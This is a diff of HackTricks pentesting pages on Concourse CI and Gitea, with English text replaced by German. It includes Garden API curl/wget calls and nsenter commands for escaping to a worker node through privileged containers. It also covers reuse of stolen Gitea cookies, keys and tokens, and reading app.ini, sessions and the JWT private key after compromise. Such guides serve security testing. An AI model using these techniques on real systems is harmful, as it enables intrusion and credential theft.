BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, sondern nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
|
||||
|
||||
> [!NOTE]
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
> Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.
|
||||
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Containerprozesse zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich selbst erstellen.
|
||||
|
||||
**In einen laufenden privilegierten Container gelangen**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Erstellen eines neuen privilegierten Containers**
|
||||
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
Sie können sehr einfach einen neuen Container erstellen (führen Sie einfach eine zufällige UID aus) und etwas darauf ausführen:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
Allerdings überprüft der Webserver alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- https://concourse-ci.org/vars.html
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Testing Environment
|
||||
## Testumgebung
|
||||
|
||||
### Running Concourse
|
||||
### Concourse ausführen
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
#### Mit Docker-Compose
|
||||
|
||||
Diese docker-compose-Datei vereinfacht die Installation, um einige Tests mit Concourse durchzuführen:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Sie können die Befehlszeile `fly` für Ihr Betriebssystem von der Website unter `127.0.0.1:8080` herunterladen.
|
||||
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
#### Mit Kubernetes (Empfohlen)
|
||||
|
||||
Sie können concourse einfach in **Kubernetes** (zum Beispiel in **minikube**) mit dem helm-chart bereitstellen: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web ausgeführt wird, Zugriff auf K8s-Geheimnisse gewähren:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Pipeline erstellen
|
||||
|
||||
### Create Pipeline
|
||||
Eine Pipeline besteht aus einer Liste von [Jobs](https://concourse-ci.org/jobs.html), die eine geordnete Liste von [Steps](https://concourse-ci.org/steps.html) enthält.
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
### Schritte
|
||||
|
||||
### Steps
|
||||
Es können mehrere verschiedene Arten von Schritten verwendet werden:
|
||||
|
||||
Several different type of steps can be used:
|
||||
- **der** [**`task` Schritt**](https://concourse-ci.org/task-step.html) **führt eine** [**Aufgabe**](https://concourse-ci.org/tasks.html) **aus**
|
||||
- der [`get` Schritt](https://concourse-ci.org/get-step.html) ruft eine [Ressource](https://concourse-ci.org/resources.html) ab
|
||||
- der [`put` Schritt](https://concourse-ci.org/put-step.html) aktualisiert eine [Ressource](https://concourse-ci.org/resources.html)
|
||||
- der [`set_pipeline` Schritt](https://concourse-ci.org/set-pipeline-step.html) konfiguriert eine [Pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- der [`load_var` Schritt](https://concourse-ci.org/load-var-step.html) lädt einen Wert in eine [lokale Variable](https://concourse-ci.org/vars.html#local-vars)
|
||||
- der [`in_parallel` Schritt](https://concourse-ci.org/in-parallel-step.html) führt Schritte parallel aus
|
||||
- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte in Folge aus
|
||||
- der [`across` Schrittmodifikator](https://concourse-ci.org/across-step.html#schema.across) führt einen Schritt mehrfach aus; einmal für jede Kombination von Variablenwerten
|
||||
- der [`try` Schritt](https://concourse-ci.org/try-step.html) versucht, einen Schritt auszuführen und hat Erfolg, selbst wenn der Schritt fehlschlägt
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) wird in **seinem eigenen Container** ausgeführt. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.
|
||||
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
Daher ist es möglich, den Typ des Containers anzugeben, in dem jeder Schritt ausgeführt werden muss.
|
||||
|
||||
### Einfaches Pipeline-Beispiel
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Überprüfen Sie **127.0.0.1:8080**, um den Pipeline-Fluss zu sehen.
|
||||
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
### Bash-Skript mit Ausgabe/Eingabe-Pipeline
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als die Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.
|
||||
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
### Trigger
|
||||
|
||||
### Triggers
|
||||
Sie müssen die Jobs nicht jedes Mal manuell auslösen, wenn Sie sie ausführen möchten, Sie können sie auch so programmieren, dass sie jedes Mal ausgeführt werden:
|
||||
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
- Es vergeht etwas Zeit: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Bei neuen Commits zum Hauptbranch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Neue PRs: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Holen Sie sich das neueste Bild Ihrer App oder pushen Sie es: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
Überprüfen Sie ein YAML-Pipeline-Beispiel, das bei neuen Commits auf master ausgelöst wird, in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,142 +1,130 @@
|
||||
# Gitea Security
|
||||
# Gitea-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Was ist Gitea
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
**Gitea** ist eine **selbstgehostete, von der Community verwaltete, leichte Code-Hosting**-Lösung, die in Go geschrieben ist.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### Grundlegende Informationen
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
## Labor
|
||||
|
||||
Um eine Gitea-Instanz lokal auszuführen, können Sie einfach einen Docker-Container starten:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Verbinden Sie sich mit Port 3000, um auf die Webseite zuzugreifen.
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
Sie können es auch mit Kubernetes ausführen:
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
- Öffentliche Repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registrierte Benutzer: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registrierte Organisationen: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies wird den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer geben, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.
|
||||
|
||||
## Internal Exploitation
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein GitHub-Konto erhalten haben.
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
### Mit Benutzeranmeldeinformationen/Web-Cookie
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben (oder Sie einen Sitzungscookie gestohlen haben), können Sie **einfach einloggen** und überprüfen, über welche **Berechtigungen Sie verfügen** für welche **Repos,** in **welchen Teams** Sie sind, **andere Benutzer auflisten** und **wie die Repos geschützt sind.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Beachten Sie, dass wenn Sie **es schaffen, den `i_like_gitea` Cookie zu stehlen** (der derzeit mit SameSite: Lax konfiguriert ist), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
|
||||
|
||||
### With User SSH Key
|
||||
### Mit Benutzer-SSH-Schlüssel
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Gitea erlaubt **Benutzern**, **SSH-Schlüssel** festzulegen, die als **Authentifizierungsmethode zum Bereitstellen von Code** in ihrem Namen verwendet werden (es wird keine 2FA angewendet).
|
||||
|
||||
Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in denen der Benutzer einige Berechtigungen hat**, jedoch können Sie ihn nicht verwenden, um auf die Gitea-API zuzugreifen, um die Umgebung zu enumerieren. Sie können jedoch **lokale Einstellungen enumerieren**, um Informationen über die Repos und Benutzer zu erhalten, auf die Sie Zugriff haben:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er festgelegt hat**, in _https://github.com/\<gitea_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG-Schlüssel
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Wie [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) erklärt, ist es manchmal notwendig, die Commits zu signieren, oder Sie könnten entdeckt werden.
|
||||
|
||||
Überprüfen Sie lokal, ob der aktuelle Benutzer einen Schlüssel hat mit:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Mit Benutzer-Token
|
||||
|
||||
### With User Token
|
||||
Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
Ein Benutzer-Token kann **anstatt eines Passworts** verwendet werden, um sich **gegenüber dem Gitea-Server** [**über die API**](https://try.gitea.io/api/swagger#/) zu **authentifizieren**. Es hat **vollständigen Zugriff** auf den Benutzer.
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
### Mit Oauth-Anwendung
|
||||
|
||||
### With Oauth Application
|
||||
Für eine Einführung über [**Gitea Oauth-Anwendungen siehe die grundlegenden Informationen**](./#with-oauth-application).
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
|
||||
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Wie in den grundlegenden Informationen erklärt, hat die Anwendung **vollen Zugriff auf das Benutzerkonto**.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
### Umgehung des Branch-Schutzes
|
||||
|
||||
### Branch Protection Bypass
|
||||
In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repo erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
- **Push aktivieren**: Wenn jemand mit Schreibzugriff auf den Branch pushen kann, pushen Sie einfach darauf.
|
||||
- **Whitelist für eingeschränkten Push**: Auf die gleiche Weise, wenn Sie Teil dieser Liste sind, pushen Sie auf den Branch.
|
||||
- **Merge-Whitelist aktivieren**: Wenn es eine Merge-Whitelist gibt, müssen Sie darin sein.
|
||||
- **Genehmigungen müssen größer als 0 sein**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
|
||||
- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der in dieser Liste ist.
|
||||
- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen nicht mit neuen Commits entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.
|
||||
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, Sie die Schutzmaßnahmen umgehen können.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
### Webhooks auflisten
|
||||
|
||||
### Enumerate Webhooks
|
||||
**Webhooks** sind in der Lage, **spezifische Gitea-Informationen an bestimmte Orte zu senden**. Sie könnten in der Lage sein, **diese Kommunikation auszunutzen**.\
|
||||
Allerdings wird normalerweise ein **Geheimnis**, das Sie **nicht abrufen können**, im **Webhook** festgelegt, das **verhindert**, dass externe Benutzer, die die URL des Webhooks, aber nicht das Geheimnis kennen, **diesen Webhook ausnutzen**.\
|
||||
Aber in einigen Fällen setzen Leute anstelle des Setzens des **Geheimnisses** an seinem Platz, sie **setzen es in die URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
Webhooks können auf **Repo- und Org-Ebene** festgelegt werden.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
## Nach der Ausnutzung
|
||||
|
||||
## Post Exploitation
|
||||
### Innerhalb des Servers
|
||||
|
||||
### Inside the server
|
||||
Wenn Sie es irgendwie geschafft haben, in den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
In dieser Datei finden Sie **Schlüssel** und **Passwörter**.
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
Im Gitea-Pfad (standardmäßig: /data/gitea) finden Sie auch interessante Informationen wie:
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine sqlite DB verwenden.
|
||||
- Die **Sitzungen** im Sitzungsordner: Durch Ausführen von `cat sessions/*/*/*` können Sie die Benutzernamen der angemeldeten Benutzer sehen (Gitea könnte auch die Sitzungen in der DB speichern).
|
||||
- Der **jwt private key** im jwt-Ordner.
|
||||
- Weitere **sensible Informationen** könnten in diesem Ordner gefunden werden.
|
||||
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
